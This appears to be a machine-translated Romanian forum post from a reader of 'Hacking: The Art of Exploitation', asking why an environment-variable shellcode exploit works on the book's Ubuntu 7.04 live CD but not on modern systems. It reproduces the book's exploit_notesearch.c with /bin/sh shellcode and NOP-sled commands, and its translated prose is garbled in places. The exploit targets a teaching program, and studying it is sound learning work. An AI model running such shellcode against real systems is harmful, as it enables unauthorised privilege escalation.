Lucrez prin Hacking: Arta de Exploatare și sunt difuzate în primul meu obstacol încercarea de a obține un lucru cunoscut exploata pentru a rula din cartea printr-o variabilă de mediu. Toate programele au fost elaborate cu -fno-stack-protector -zexecstack -no-pie -fno-pie
.
De funcționare exploit_notesearch.c
(deși cu o foarte specifice de compensare), am fost capabil de a obține exploit pentru a pop un shell prin mutarea offset cu argv[1]
. Aceasta funcționează pe sisteme de operare moderne (cu ASLR cu handicap) precum și LiveCD-ul inclus cu cartea.
exploit_notesearch.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret, offset=208;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // zero out the new memory
strcpy(command, "./notesearch \'"); // start command buffer
buffer = command + strlen(command); // set buffer at the end
if(argc > 1) // set offset
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; // set return address
for(i=0; i < 160; i+=4) // fill buffer with return address
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // build NOP sled
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // run exploit
free(command);
}
În continuare, în acest capitol, ne-am stabilit shellcode la o variabilă de mediu și încercarea de a redirecționa fluxul de loc pe stiva unde SHELLCODE variabila de mediu este stabilit, la jumătatea precedat NOP sanie. Cu toate acestea, acest lucru nu execută exploata pe sisteme de operare moderne, dar functioneaza foarte bine in Ubuntu 7.04 live CD-ul care însoțește cartea. shellcode.bin
este shellcode în partea de sus a exploit_notesearch.c
fișier fugit cu echo -en
și redirecționat într-un fișier.
$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
$ ./notesearch $(perl -e 'print "\x17\xf2\xff\xbf"x40') # Address halfway through NOP sled
Ce se întâmplă aici, că s-a schimbat între vechi sisteme de operare și modern? Există o protecție sunt conștienți de faptul că este prevenirea de echitatie NOP sanie la shellcode?
Multumesc.